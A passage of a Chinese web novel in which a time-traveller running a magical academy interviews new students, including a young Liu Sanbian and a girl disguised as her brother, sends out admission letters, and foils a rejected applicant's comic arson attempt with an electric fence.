他本想直接离开,回程禀报,可奈何王家的人整日哭哭啼啼,拉着他的衣袖喊着什么报仇雪恨。 又不是自己正经主子,不过和大人同期罢了,再加上他上门住了几日,各种暗示,对方却连个银子也不知道递,一看便没有油水可捞,偏偏另一方还已经带着学生出门考府试了,连个竹杠也敲不得,他不愿多费口舌,再久待,只得回去敷衍着交差,说是疯掉了,写的都是胡诌的,就此作罢。 顾信之虽觉得疑惑,却也没放在心上,只能叹一句可惜。 问道童启和那书院,听闻已经在招收第二届学生了,顿时心动不已,可想起两个府城的距离,鞭长莫及,也只得作罢。 华夏书院内,童启望着两百多份试卷,正头秃不已。 他和温叶辞连改了两日,最后才勉强挑出70多个合格的,皆是学识阅历还算不错的人,虽后期还有着面试可以观察修改,但童启还是难免不放心,想让系统先调查一下每人的背景,以防不测。 系统满脸傲娇:“我凭什么帮你。” 童启眨巴眨巴眼睛,露出个无辜而清纯的可怜巴巴模样,“不是吧,这对你难道很难吗?原来是我看错了,还以为你是全宇宙最聪明厉害的龙傲天系统,履历丰富、带飞了无数宿主?所以这点小事就像是随手捋平了一个衣服褶皱一般简单,看来是我想多了,没想到你也会被这点小事给难住……” 系统一激一个准,顿时跳脚道,“你胡说什么,谁被难住了?我才没有,你等着,我立马给你筛选数据!” 童启扬了扬嘴角,又迅速压下。 蓝色的电子光飞快的扫描着所有名单,当突然扫到某一个人的时候,猛地停下,疑惑的叮了一声。 “怎么了?真有不妥之人?” 童启茫然的凑上去,查看那份试卷名字。 系统红色加粗单独放置在一旁,犹豫道,“这个人……好像是个历史人物,按理说不应该出现在这里才对,要特殊注意,若是招收,很有可能变动客观历史发展。” 这么厉害? 童启疑惑的念了几遍这个名字,“柳三变……字景庄” 好像是有点耳熟嘿,但一时还真想不起是谁。 他脑海里搜索着这个年代姓柳的有什么大佬人物,突然瞪大眼睛。 等会儿,柳三变,奉旨填词柳三变? 卧槽,他为什么会在这里? 他不应该整日流连在青楼楚馆给人填词吗?好家伙,这诗词大佬都来了,他第二届学生的老师岂不是妥妥有指望了?可再一看这填写的年纪。 ——七岁。 童启:??? 才七岁?那能教什么啊?童启从一堆卷子里翻出柳大佬的,细细察看过去,这卷子倒也不算太优秀,只能说勉强过关,可胜在有灵气,小小年纪,写诗词便已经有自己的一套风骨。 假以时日,还用问? 这位便不必面试了,留下留下,直接留下! 第32章 第32章录取通知 说是直接留下,可好歹流程还是要走一走的,省的后期有人说童启开后门。 为此,他还特意换了一身最好看的衣服,单独开了一间新的教室,用作面试地点,以表郑重。 ——来迎接年仅七岁的柳大佬。 而如今的柳三变呢? 他还正在和自己的父亲闹着脾气。 “我不想去那个书院读书!那里都是臭烘烘的男人,没有一个漂亮的姐姐,我不去我不去嘛,我想陪父亲一起去任上!” 他梳着两个小童髻,不断的拿脑袋去撞柳宜的肚子,活像个蛮不讲理的小牛犊一般。 柳宜哭笑不得的用手护住自己的小儿子,耐心解释道。 “不是不带你去,是费城路远,你年纪还小,又到了启蒙的时候,若跟着我离开,难免会耽误学习,你乖啊,先在这里读着书,等我那里安顿好了,便立马将你接过去。” 实际上,柳宜也没有想到,自己家儿子竟然会过了华夏书院的招生笔试。 他本就是送过去试试,并没有抱太大的希望,毕竟听说当时参加考试的还有安庆侯家的小侯爷、许昌县的县案首等,各个都是读了许多年的书,年纪学识都远在自家儿子以上。 能意外考中,他既是骄傲又满是担忧。 骄傲在那么多人之中自家儿子还可以脱颖而出,担忧在,他家这儿子自小怪癖不少,若真的进入书院,封闭式学习,不知会不会适应? 万一沦为大家取笑霸凌的对象,产生什么厌恶读书的毛病,那可怎么办? 想到此,他不由拢住自家儿子的肩膀,细细嘱咐道,“你以后在书院可不准再乱说什么姐姐之类的话了,明白吗?那里的山长是个有大才的人,可别让他误会了你是什么花心纨绔,回头轻看了你。” 自家儿子打小就喜欢长得漂亮的,尤其是貌美的女孩子,那更是一看就走不动道。家里是训斥也训斥过了,打也打了,可偏偏怎么也改不过来。 他祖父发愁的紧,就担心这小子回头长大了,败光家里所有的东西。 再加上纤细敏感,喜欢吟诗弄月的性子,不理解的,很容易当做是风流种子。 长辈和位高权重者最不喜欢的便是这一类。 如此这般告诫一番,柳宜仍旧不放心,面试当天还特意陪着儿子走了一趟。 当日,沧澜山脚下再次热闹异常,所有学生都被邀请到了教室内,等待面试。 童庆安和童淳、小花好奇的趴在教室外的窗口处,探头探脑的往里瞅,见到几个和他们年纪相仿的,便兴奋的不像话。 “看到了吗?看到了吗?最左边那里有个和我一样大的,长得好漂亮啊!” “他们好厉害,竟然能考过哥哥亲自出的试卷!” 那试卷,私下里几个孩子也尝试过解答,别说全部了,连一半都困难的很。 如今见到和他们差不多年纪的,竟然能突出重围,皆叹服不已。 小乞丐庆安扭着小屁股,双眼亮晶晶的看着屋内的学生们,满心期待着新同学的加入。 他以后也会是这些人的其中一员吗? 光是想想便觉得激动起来了。 实际上,面试需要的问题并不多,只是大概问一问学生们各自的家境,来此的原因,以及希望在科举道路上到达的方向这些, 看看与书院的目标调性是否契合。 童启并没有坐在主位上,而是将大部分的询问交给了清虚子和温叶辞来负责。 两个人颇有些意外。 “我们也要去吗?” “自然,你们是书院的老师,以后还要和这些学生们长久相处呢,若是打心底里不认可,那以后如何教授他们知识?再说了,两位阅历丰富,远比我所见的人要多,若真有那怀着不良心思的学生,我相信在你们的眼皮底下,也很难遁形。” 两人被夸得脸红,立马答应了下来。 参加面试的一共有六十三位学生,童启坐在旁边,作为观察者,决定是否留下,而温叶辞和清虚子则负责交流谈话。 一切都比较顺遂。 到了小侯爷沈亦时,温叶辞问道,“你为什么想要来华夏书院读书?” 沈亦怯生生的看了一眼角落里的童启,见对方没有抬头看他,只能硬着头皮答道,“因为童山长在歹人手下救了我,所以我想要跟他一起读书。” “可我们书院大多是准备科举的学生,目标是金榜题名,和小侯爷想要的书院氛围很可能不太一致,若是真的被录取了,则默认无条件遵守华夏书院内的规则,这里并无阶级、身份之分,你能接受的了吗?” 温叶辞好奇问道,沈亦还以为这是不想收自己的意思,忙答道。 “能,我可以!只要能让我在这里读书,所有的规矩我都能够遵守!” 不叫小侯爷又如何?他早已经厌倦了所有人畏惧于他的身份,不敢接近的样子了。 他渴望更多的朋友,渴望像山长那样,冷静强大而无畏! 他想要来这里上学,哪怕其他人都觉得以他的身份,不必如此屈尊。 可他愿意! 童启见他慌张起来,忍不住笑出声,安抚道,“不必怕,你的笔试成绩没有任何问题,我们问这些,也不是想要让你自动退出,而是想确定你是否想成为我们的一员罢了。你答得很好,回去等录取通知书吧。” 这还是童启第一个在现场就直接敲定下来的人选,背后等待的学生们顿时一阵嘈杂。 沈亦高兴不已,立马原地蹦了三蹦,“谢谢山长!谢谢老师!” 他开心的走出去,如释重负,转头便立马向自己的父亲传达了这个好消息,安庆侯欣慰的点点头,这才勉强满意童启给的面子。 好歹是侯爷,不给开后门就罢了,还请人来考了两场,若还不录用,那就是真的找死了! 童启自然明白,也乐的给个台阶下。 之后,他便再也没有开过口,哪怕后来的学生一直想要暗戳戳提起山长,妄图得到一个明确的答案,可童启却连抬头也未抬一下,只是在纸上哗啦啦的写着什么。 实际上,他正在跟潜意识里的系统套话。 “统子,这个学生咋样,他的潜能如何?” 系统一边嗑瓜子,一边调出档案来,“嗯,中人之姿吧,勉强能当个一地知府的样子。” “那这个呢?这个如何?” 系统:“这个不行,太笨,年纪还大,充其量一辈子也就是个举人的程度了。” “OK,那这位呢,这位看起来很漂亮啊,丰神俊秀,年纪也不大,怎么样?” 系统不耐烦的吐了个瓜子皮,刚想吐槽这是把它当档案袋用了么?突然瞥了眼面试的人后,猛地坐起来,疑惑的看了看手头上的资料,又疑惑的看了眼面试的人,忍不住揉了揉眼睛。 “等会儿,这个学生好像有点不对劲啊。” 不对劲? 哪里不对劲? 童启抬起头认真的看向面试的人,十三岁的年纪,身量高挑俊秀,五官精致,除了有点黑,没什么毛病,再看看纸上登记的信息。 这个男孩名为王世昌,出生于河南府永宁县,家中小有资产,祖父是当地的县丞,父亲则是有名的儒生,曾高中举人,离进士只差临门一脚,可却因为夏日没有注意到火烛,愣生生起了场火,被烧死了,只留下一儿一女,暂养在大伯家里。 对方小小年纪,身世可怜,可答起话来,却严丝合缝,逻辑清晰,就连旁边的清虚子和温叶辞都忍不住暗暗点头。 有了惜才之意。 童启疑惑的上下打量了一番,没察觉到什么不对,敲了敲系统的对话框道,“我觉得挺好的啊,哪里不对?” 系统:“……你就没发现,这是个女孩子吗!!” 谁家书院收科举学生,收女孩啊!! 又不是后宫文! 这孩子也忒大胆了,以为是什么梁山伯与祝英台不成?顶替了双胞胎弟弟的身份资料就敢来这里上学,关键书院上下竟无一人发现,要不是它系统机智聪慧,差点也被唬过去了! 就离谱! 童启愣了几下,有点懵,过了一会儿,才忍不住问出了一个灵魂性问题。 “话说,我当时贴的招生要求里,有说必须男孩子吗?” 系统:“……” 好像没有诶。 两个人双双沉默了下来,谁也没想到,招生简章里还有这么一个漏洞,关键是这个漏洞还真有学生大胆的钻了!连他们自己也没注意到。 那么,现在只有两条路:一,当场叫破她的身份,将其驱逐出去,承认是他们自己没有写清楚招生简章,女的不收。那这学生以后都别想做人了,他们书院嘛,估摸着也落不到什么好名声。二,索性当做不知道,破罐子破摔,反正人都来了,成绩也不差,她愿意伪装学习,我们就按照正常男孩子教呗,管他的。 系统和童启犹豫了一会儿,双双选择了第二种。 反正秃子头上的虱子,不嫌多,王厨娘的女儿小花不也在跟着童淳学习嘛? 他不仅知道,还偷偷递了很多资料卷子给他们呢,这再来一个,也不愁。 一路顺着面到了谢君仪这里,短暂的出了点岔子。 “不是,你怎么会在这里?” 评委席上的清虚子脱口而出,情绪激动道。 他明明给谢家家主去了信,对方说了要换嫡子过来的呀!这怎么还是这个庶子!! 想明白过来对方耍的小心思,清虚子是气不打一处来,有心赶人走吧,偏偏人家还是正儿八经通过笔试的,没办法只得忍下。 谢君仪穿着壕奢,金光闪闪的如同一个暴发户,满脸的得瑟,如斗胜般的公鸡一般,看向评委席。 当听到温叶辞问出自己的梦想时,他顿时不假思索的道,“我想成为和山长一样极其会骂人的人!” 整个屋子里顿时一阵沉默。 在场的人谁没有读过童启写的《范进中举》?可那文章虽好,却连着将天下所有的文人都骂了进去啊!! 你在这种场合下夸山长会骂人? 那不就是当着监斩官的面说砍得好,再来一次嘛? 会不会说话! 清虚子头痛的用袖子遮挡住自己的脸,就连旁边伺候的谢羽也忍不住微抽了一下嘴角,不愿再看。 童启倒是觉得这孩子挺有趣,后期讨论留去的问题时,清虚子言辞激烈。 “我觉得这个人不符合我们书院的要求,实不相瞒,他是谢家的庶子,母亲乃是个歌姬,在家中一向跋扈无礼惯了,来我们书院定然会不适应。” 温叶辞意外道,“谢家,难道是那个琅琊谢家?他家的孩子怎么会来此地求学?” 明明和这里隔了那么远的距离! 清虚子顿时心虚的将他去信给谢家家主,要求他把嫡子送来的事情全盘托出。童启这才明白,对方是看不起他们这书院,所以李代桃僵送了个庶子过来,不过也正常,那样的世家大族,总不会将鸡蛋全部放在一个篮子里。 更何况,他也不在乎什么嫡庶子之分。 身份的高低又不是他们能够选择的,上不来台面又如何?怪也应该怪造成这种差异的男人,总不能因为出身过往便全盘否定一个孩子吧? 而且那孩子说的也没啥毛病,只是有点中二罢了。 童启倒是蛮喜欢这种稍微叛逆不守规则一点的人,碰撞起来,也更容易接受新的思想,而 不是墨守成规。于是他不顾清虚子的反对,坚持选择了录入。 长达几个小时的面试,将近尾声,而童启等待了一整天的人,也终于在最后缓缓走了进来。 当听到“柳三变”的名字时,他顿时激动的看了过去。 也不知道是不是天然就带了滤镜,即便才七岁的柳大佬,童启已经在对方身上,隐隐看到了那股风流韵味。 柳三变抬脚提起长衫,进入屋内,扑面而来的一股热气伴随着炙热的目光,让他稍稍后退了一步。 “在下柳三变,见过几位先生。” 他奶奶的声音配合着憨态可掬的行礼动作,浑然一体的腰线,令童启忍不住一脸笑容,放温柔了声音道。 “你便是柳三变?都读过什么书啊?” “小子愚钝,只读过《千字文》、《诗经》、《楚辞》、《文赋》以及一些四书章句集录,其他的还未涉及。” 见童启满脸的喜欢,温叶辞和清虚子也没太在意,本身他们就发现了,童启对孩子的包容度极高,不仅从没生过气,还极其宽厚,每次见面都是一兜子的糖,各种投喂,这孩子如此有灵气,聪慧可爱,能得到童启的重视疼爱,也实属正常。 简单的问了几个问题后,小孩一点没有紧张的意思,反而好奇的盯着童启。 水灵灵的大眼睛,一眨不眨,满是疑惑。 他觉得自己好像和这山长好像也差不了几岁的样子,怎么他就站在这里,对方就坐在那边呢? 他偏了偏脑袋,忍不住问出声道,“小子有一问不懂,不知能不能说。” 童启抬了抬手,“尽管讲。” “为什么你能够坐在那里?我却要站在这里,接受你的评判呢?父亲说你有大才,可是我们年龄相仿,我觉得,若是我能够坐在你的那个位置上,我应该也行。” 平平淡淡的语气,天真的话语,令四下皆惊,忍不住倒抽一口凉气。 好家伙,头一次见到考生在考场上如此猖狂挑衅考官的! 柳宜站在门口,早已是心急如焚,听到自家儿子这番话,半喇的心都已经凉透了,顿觉无望。 哪家书院能够忍受学生如此无礼啊? 传出去,不得到个忤逆犯上,不敬师长的名声,是不可能了。 看来,这书院是彻底上不成了。 就连其他的学生和老师们,也纷纷看向了童启,担心对方就此生气,拂袖而去。 没想到的是,童启却突然仰头大笑起来,站起身,忙给柳三变亲自让了座,开玩笑道。 “你说的有理,这位置你若想坐,自然也坐得,并没有什么意义,我不过是提前占了个先罢了,若往后几十年,说不得你成就反比我大,那时,就是你来评判我了。有着这样的想法我觉得是很好的,天下所有学生都应该有能够战胜老师,强于老师的希冀,你们青出于蓝胜于蓝,哪日把我们这些前浪都纷纷拍倒在沙滩上,那就是我们的功成名就了。” 一众学生震撼不已,立即抱拳行礼称是。 为童启如此博大的胸怀而感叹,更为这一心为了学生考虑的师德而佩服。 头一次见到如此回答的人,柳宜站在门口,满身的颤栗不亚于自己的儿子。 他一颗悬在半空的心顿时下落,庆幸着为儿子找到了一个好的老师。 也忍不住艳羡着这些学生,年幼时便能遇到如此风华的山长。 以后人生,似都有了追随的方向- 一整日,面试才终于结束,童启很快整理出来了所有录取的名单,交给全胜镖局的镖师们统一前往派送。 如此声势浩大的出场,甫一下山,便引起了不少人的注意。 “这是全胜镖局的人吧?听说这次的华夏书院录取通知书,便是由他们发放!” “看来是了,哎呦,他们竟然去三孙子家里了!” “快看看,有没有我家的,有没有我家小子的!” …… 不少人跟随在身后,越聚越多,大家都好奇有谁考上了华夏书院,等走到巷口处时,已经挤不进去任何人。 人山人海,比肩继踵,那阵仗,一点不亚于县试开榜时的盛况。 接到录取通知书的人家欢天喜地,喜不自胜,而没有拿到的,则泪如雨下,伏地而泣,好不可怜。 第33章 第33章(营养液加更)电击夜贼…… 许昌县,大屋村。 郭胜开正站在厨房内,煮着粥米,心不在焉的等待着,直到夕阳西下,也没见到发放通知书的人进入村子,一颗心坠得越来越深,口中也不由越发苦了起来。 村里的闲汉三三两两蹲守在一旁,见到无人报喜,嘴里说话愈发难听。 满是幸灾乐祸的意味。 本身郭胜开家里就是外来户,后迁过来的,再加上亲爹死了,只剩下孤儿寡母,那郭母虽久病,但长得还行,不少起了意的便总是在郭家门口转圈,想占点便宜。 可偏偏郭胜开护的紧,还老是拿什么功名族谱的威胁人,他们老早就看不惯了。 如今听说还要去别的县读书,不少村子里的人是既忧又恨,巴不得他失败。 好瞧瞧笑话。 “呵,还说什么县案首呢,看吧,就连人家一个普普通通的书院都看不上他!什么有才,还不是给权贵人家当脚凳,山沟沟里,穷得要死,还做梦想飞出个金凤凰呢,读了那么多年书,难不成就没有学过白日做梦四个字么?” “哈哈哈哈要我说,就是没那个命呗,爹妈、亲妹子都那个样儿,说不得就是他给克的!不然怎么死活压不住福气?只是服个劳役罢了,便溺死了?” “要我说也不是没办法,他那病殃殃的妹子不是也大了么,县上的富商正缺小妾,把她给卖了,多少也能得点银子,继续考。” “与其卖妹子,不如卖她母亲,他母亲还有点姿色,至于他妹妹么……” 几个闲汉相视而笑,露出个男人都懂的淫、邪表情。 郭胜开握紧了菜刀走出去,一盆子凉水直接泼到墙角跟处,表情冷厉。 “滚!” 那几个闲汉被唬得直退,悻悻不敢再言,可表情却理直气壮,似不觉得自己哪里说错了。 屋内,郭胜开的妹妹小声哭泣着,见到哥哥进来,连忙擦干了泪水。 “你放心,我是绝对不会抛下你和母亲的。” 他安抚的摸了摸妹妹的脑袋,转身出去继续做饭。 看来书暂时是读不成了,还是出去先找个什么活计做着比较好,他暗自思索着,突然,不远处传来了马车铃叮铃当啷的声音,不少人被吸引过去了目光。 只见一辆马车上跳下两个健壮的汉子来,大声喊道,“郭胜开在这里么,县案首郭胜开,是不是在这里?” 他连忙走出院门,行了个礼,茫然道,“在下便是郭胜开,请问两位……” “哦,抱歉,我们头一次来大屋村,方才走岔了,所以来晚了!恭喜您考入了华夏书院,我们是受山长的命令来给您送录取通知书和校服的!因着您申请了勤工俭学,所以学杂费全免,每年的学费住宿费、餐饭费用皆由学校统一负责,您以后可能要常驻山上了,山长听闻你家里还有个妹妹和母亲,担心无人照料,所以特意让我们将她们一起接到沧澜村居住,那里有我们的安置地和学田,请问你需要吗?” 村里被这动静惊动的人不少,纷纷探出头来。 听闻郭胜开要去书院上学,还免费不收钱,顿时议论纷纷! 四周围着的闲汉一愣,连忙上前问道,“这么好的事?凭什么只给他一个,我们也要去!那什么书院,怎么报名?” 两个镖师人高马大,漠视的看了一眼,“你若能考上,尽可一试。不过今年的招生已经结束了,想参加的话,明年请早。” 那些闲汉还想再闹,可一看两个人的体格,再加上腰间揣着的刀,浑身的气势瞬间弱了下来。 只能眼红嫉妒的看着郭胜开,愤愤不平。 郭胜开强忍着泪水, 颤抖着接过那鎏金的录取通知书,上面斗大的几个“华夏书院”气势磅礴,尽显霸气。 他默默握紧了,不知该说些什么。 他自小便不信神,从来没有幻想过会有人伸出手,拉他于水火之中;别人唾手可得的东西,他往往需要费尽十倍、百倍的力气才能拿到。即便幼小恐惧,可却总是强撑着自己站在母亲和妹妹面前,独自扛下所有责任。这还是头一次,有人告诉他不用撑了,他们来替他解决,就像是从天而降的英雄一般,挡在了他面前。 若是世上有【神】的话,只怕就是这种吧? 就像是上天突然听到了枯井中他心底的求助,放下一根绳索来,让他紧绷许久,已经渐渐感到绝望的心,瞬间被击溃,难以自抑。 几乎不用反应,便痛哭了出来。 “需要,非常需要,拜托你们了!请帮我们搬走这里吧。” 他安然的卸下所有负担与心防,如同漂泊许久的孤帆,终于有了停靠的方向。 全胜镖局的领队是个健壮的汉子,伸出手轻柔的拍了拍他的肩膀,无声的安慰了一下,然后便撸起袖子,帮忙收拾起东西来。 见到他们一副离开的模样,大屋村的村民们这才终于慌了。 他们是不喜郭胜开不假,可这不喜是因为郭胜开和他们不一样,即便环境痛苦却仍旧充满希望,假以时日,便可挣脱这泥沼,所以他们嫉妒、厌恶,想要拉他一同沉堕下去,可这不代表着他们看不出来,郭胜开未来的潜力是无穷的!童生距离秀才,可就差临门一脚,回头若真的中了,那便是整个村子的荣耀!这一走,对方哪里还肯回来? 不少村民们连忙挡在他们面前,说是不让搬,甚至还有人威胁道,若是要走,就挖了他家的祖坟云云。 穷山恶水出刁民,越是苦的地方,反而内斗的越严重。 两个镖师往门口一站,尽显震慑之意。 “你们确定要得罪我们华夏书院?事先声明,我们书院的招生可是提前跟知府大人打过交道的,符合一切规章制度,若有人阻碍我们,不仅是和衙门作对,更是和我们河南府的商会作对,你们可要考虑清楚!” 出门在外,他们早就懂得了如何对待这些人。 光是劝是没用的,只能威胁、震慑,才能让他们畏惧、退让。 “你们确定要得罪秀才老爷们吗?” 大屋村的人不甘心的后退几步,想拦,却不敢再拦。 成功帮着郭胜开逃离了此处,他们将其暂时安置在沧澜村脚下,交给村长统一负责,这才回书院向山长复命。 有人因为这一张邀请函改变了命运,可有人却因着这一张录取通知书,走入了歧途。 申府内,申宫保焦虑的站在廊前反复踱步,不甘心的询问道。 “确定真的没有我的录取通知书?” 底下的小厮一脸为难,“真的没有少爷!所有的学生都已经派送完毕了,听说共招了52个人,那个小乞丐没有包含在里面,所有考上的都已经收到了通知书。剩下没收到的……应是落选了。” “胡说!你的意思是,本少爷没考上?” 申宫保怒不可遏,直接一脚将小厮踹了出去,连带着整个案桌都被一并抽倒在地,他满眼通红之色,大口喘着气,握紧了拳头。 该死的! 这些下贱的平民,当真是反了天了! 他赏面子去参加什么笔试、面试,小侯爷考上了,那些平民也考上了,就连许昌县那个什么县案首也考上了,可他偏偏落选了? 这不是公报私仇是什么? 这不是故意看不起他,有意嘲笑作对,又是什么? 不公平,不公平! 他头脑一热,带着人便要前往安庆侯那边理论,原本他可是不愿去考的,是对方硬是让他陪同一起,可如今呢?反倒他成了一场笑话? 没门儿! 然而走到了门口,风一吹,申宫保又冷静了下来,如今那边正在忙着整理小侯爷上学的事情,且不说没空理他,即便是有空,以他姑姑的地位,不过一个妾室,又能如何? 顶多赏点银子,就此作罢,倒不如他自己亲自去报复,反倒痛快些。 申宫保想起什么,眼中闪过一丝恶意。 好,你不让小爷我去上是吧,那就所有人都别想去上了! 他招招手,让下面的人召集了二十多个打手过来,一起换上衣物,掩住口鼻,连夜提着火油,前往了华夏书院。 深夜。 童启坐在宿舍内的桌子前,正整理着明日的教案和分班事宜,突然,系统发出了滴滴滴的警告声。 【叮,检测到二十米范围内有不明人士正在行动,开启防御措施,开启防御措施!】 【叮,摄像头自动开启捕捉,已开启犯罪过程全程录制,电网已就绪……】 从来没动过的安保设施陡然发声,童启吓了一跳,可当听闻到系统播报的内容后,他又立马悠闲的坐了下来。 顺手还拿起了一旁的辣条和可乐,拆开,一边啃一边看。 不急,有这些东西在,怕啥? 他倒要看看是哪个不要命的,竟然想成为第一个吃螃蟹的人。 夜视灯摄像头下,申宫保及其手下的动作,一览无余。 “嘘,小声些,别将他们吵醒了。” 申宫保低俯着腰,令人将火油倒在墙角处,打开火折子,偷偷点燃,然而这墙角不知是什么做的,烟熏火燎了半天,却没有半点燃起来的痕迹。 “滚开!” 一把推开手下的人。 申宫保拿起火把试了试,可除了火油,其他东西都没有燃起来的意思。 他抓了抓脑袋,随手点了两个人上去,“你们,爬上去,去里面烧。” 被点到的人一脸茫然,仰头看了眼那城墙般的高度。 “我们?怎么进去?” “我管你们怎么进去?爬也要给我爬过去,上!” 申宫保一巴掌打在两个人脑袋上,没办法,几个打手只得根据地上的石头堆积,互相扛着往上攀爬,也不知碰到了什么,刚有个人爬上了墙角,猛地一阵火花炸裂在眼前,所有人只感觉浑身颤了几下,如同被雷电劈中,一股什么肉被烧焦的味道顿时弥漫开来,紧接着便是浓浓的尿骚味道。 “大胆,谁突然尿裤子里了?还不赶紧滚去一旁解决?” 远远站在旁边的申宫保皱紧了眉头,嫌弃的抬起袖子遮掩着味道,见久久无人回应,更觉诡异。 那几个打手背对着他,僵直了身体原地颤抖着,如同迎风飘扬的将旗般,他忍不住上前推了推。 “小爷说你们呢……” 这不推还好,一推,也直接被电在了原地。 难以动弹。 童启透过摄像头看着画面里抖成商店门口充气人偶的几人,顿时笑的前仰后合。 巡逻的安保人员走到附近,听到动静后,察觉不对,上前一看几人被电住,顿时吓了一大跳,幸而提前培训过如何关闭电网,这才连忙手急脚乱的切断了电源,令几个人躺倒在了地上。 又是掐人中,又是急救措施的,半晌,这才幽幽转醒。 申宫保刚一醒,便吓得大喊道,“妖术,妖术!” 他也不管什么来时的目的了,转过身便连滚带爬的闷头往外跑,裤子下方湿漉漉的,风一吹,味道极其难闻。 俨然也被电尿了。 童继本严肃的看着墙角的火油和火折子,令人收集起来,准备告官。 清虚子和温叶辞被惊动,忙跑出宿舍楼查看,得知是几个贼人爬墙,且爬的还是挨着藏书阁的那道墙,顿时表情莫测起来。 谢羽吐了个舌头,忍不住吐槽道,“这也就是他们没爬过来,若是爬过来,遇到那铜人阵……” 别说只是被电了,恐怕连小命都得留下吧? 第34章 第34章分班府试 最后,还是童启走出来,拦下了童继本即将要去告官的动作,这才勉强将此事给圆了过去。 反正证据齐全,他们也没吃了亏,倒也没有必要闹得那般大。 且不说贼人是申宫保,好歹出身背景与安庆侯有关,若真对簿公堂,章大人会向着谁还说不定呢!只说蓄意伤害皇亲国戚这一条,就够喝一壶的!何况如今小侯爷沈亦也要成为华夏书院的新学生了,他家亲戚犯了罪,你让他以后在书院内如何自处呢? 罢了,这一次惩罚,也足够让对方永久铭记,八成之后是再也不敢来闹事了。 顺带着一石二鸟,还震慑了一下暗处的不少人,让他们知晓了书院内安保设施的厉害,不算太差。 果然,这申宫保逃到家之后,吹了一肚子的冷风,又是被电击,又是被吓,很快便病倒在床,生了一场大病,直烧的嘴里迷迷糊糊,尽是求饶之语。 急得家里也不管什么华夏书院录不录取的事情了,连提也不敢再提,忙托了安庆侯的面子,连夜拜了北部的文昌书院,将人送走,这才勉强慢慢调息了过来。 成功保住一条命。 且说第二届招生顺利结束,录取通知书发放到了各位新生手中,报道当天,童启忙的脚不沾地。 分班、分宿舍,准备教案、排课程……就连系统的奖励都没顾得上查看,老一辈的学生们纷纷出来帮忙,又是引导新生入学,又是讲解教室、食堂、宿舍楼的位置,发放门牌号钥匙等物品。 一众“幼苗”穿的齐整,清一色的白裤白袜、黑靴黑发带,青色的暗竹校服随着走动在阳光下泛起轻微的涟漪,闪闪发光,一眼望去,赏心悦目。 吴韧等人看他们和自己穿着一致,这才突然有了一种多出五十多个师弟的责任感。 他们殷勤的和大家讲解着每栋楼的用处,该如何上课、如何吃饭等问题,看到每个人瞠目结舌的样子,一如自己刚刚来到书院时,不由忍俊不禁。 沧澜山下,一辆停靠了很久的马车上。 王世贞将头发束起,换上男装的校服,低头和自己的孪生弟弟告了别,深呼吸几口气,便准备下车报道,却被对方一把拉住。 “姐,你真的要去这书院啊?就不能不去吗?”他压低了声音,满是担忧,探头看了眼外面。 清一色的男人,没半个女的,就连门口巡逻的护卫都是男的! 这种书院,若是姐姐进去,万一哪日暴露了,还有什么名节可言? 这哪里是读书啊?分明就是赴死! 真的要做到这种份上吗? 王世贞温柔的拂过他的手,叹了口气道。 “昌儿,我们没得选,要不就是你,要不就是我,我们必须得有一个人闯出去,不然以大伯母的性子,容忍不了我们多久的。爹娘没了,可我们没有时间再自怜下去,你还想寄人篱下多久?咱们只能自救!不然的话,以后该怎么办?你难道真想我被卖出去,给别人当妾室不成?” 王世昌眼中含泪,“都怪我,都怪我!若不是我幼时贪玩,不爱读书,也不会让姐姐替我受如此大的罪!” 从小父亲便百般叮嘱过,他是家里的定海神针,需得承担起门户的重任,可偏偏他性子浮躁跳脱,和姐姐完全不一样,总是贪玩调皮,反而姐姐却总是读书最好的那一个,就连父亲都忍不住感叹,若是两个人能换一换就好了。 自爹娘去世后,他们更是受尽白眼,姐姐几乎扛起了所有的重任,和大伯母及其家中子女周旋,这才勉强争取到了华夏书院的报考机会。 若不是他无用,事情怎么也不会到了如此的地步。 想到此,王世昌悔之莫及。 王世贞却并不觉得自己哪里辛苦,相反,她非常喜欢扮演成弟弟的模样,就像是她有了第二重身份,可以不再管世俗的规训,如同一个正常人一般,自由的追求喜欢的事情,读书写字。 看到弟弟内疚,她缓和了声音道。 “你乖,不必担心我,就按照咱们以前约好的来,不会有人发现的,你继续扮作我,在家好好的,不必跟大伯母他们多言,等姐姐努力,替你争一个状元回来,放心!” 王世贞拍了拍自家弟弟的肩膀,雄心万丈的下了马车。 “他”清清嗓子,手持书扇,整理了一下长衫衣袖,如鱼得水一般混进了人群中。 书院门口,坐在登记位置上的汪启元低头问道。 “名字。” “王世昌。” “年纪。” “十三。” 名薄上的痕迹被一笔勾掉,他将准备好的饭卡、宿舍楼钥匙以及藏书阁木牌一并递给他。 “你是最后一名前来报道的,所以暂时一个人住,206房间,这是你的宿舍钥匙,别弄丢了,饭卡是用来吃饭记录用的,到时候递给厨娘,她会向你讲解如何操作,至于那木牌,是藏书阁的门禁准入证明,不过暂时用不着,放着就行……” “为何?” 王世昌疑惑的问道。 按理说一个书院,最有价值的不就是藏书阁吗,如果能够随意进出,为什么不进去? 汪启元抬头看了一眼,不愿多做解释,只道,“你进去就知道了,若是体力不错,擅长习武,也尽可去试试。” 天知道山长刚说藏书阁修结束,可以随意借阅的时候,他们有多兴奋,就和这些天真的新生一般,当场便直接冲了过去。没有文人会嫌弃书多的,他们每个人都是抱着一定要狠狠抄写几本回去收藏慢慢看的想法,可奈何走到门口处,才发现还有一个关卡得闯。 一开始他们还跃跃欲试。 直到被那铜人狂揍了几十顿,浑身疼痛,这才知道了天有多宽,地有多圆。 还是先好好锻炼身体吧,等什么时候练好了,或者山长改了装潢,再说吧。 王世昌看着汪启元复杂的表情,颇有些疑惑。 习武? 那跟藏书阁有什么关系? 但见到对方没有多言的意思,他也没再多问,而是拿着一堆东西,先前往宿舍报了道。 跟每个人一样,从进入楼内的那一刹那,王世昌张大的嘴便全程再也没合上过。 本以为这栋楼外表朴素,和一眼望过去便奢华无比的教学楼相比,已经足够低调,可其内部的装潢才是真正的令人震惊! 上一届的师兄们嘴是真的严啊!竟然愣是硬生生憋住了一整年都没透露过半点风声!? 若是天下的学子们知道这内里乾坤,还有谁愿意去别的地方读书啊? 这简直就是无数人憧憬梦想的最优住所好吗? 王世昌用自己的钥匙解锁开206房,扑面而来的热气令他忍不住微眯了下眼睛,当看到里面上床下桌,配置着热水淋浴,甚至还有单独的厕所时,王世昌整个人都麻了,这简直比他见过的最上等的贵女闺阁还精致!正中央的洗手台上甚至还贴着一面清晰可见汗毛的琉璃镜! 光是这,流传出去,便能让无数女人疯狂好吗? 什么糙男人?自来到这家书院后,他再也不敢用这个词形容男人了! 毕竟跟他们比起来,自己才是真正的粗糙不讲究。 头一次享受到如此的待遇! 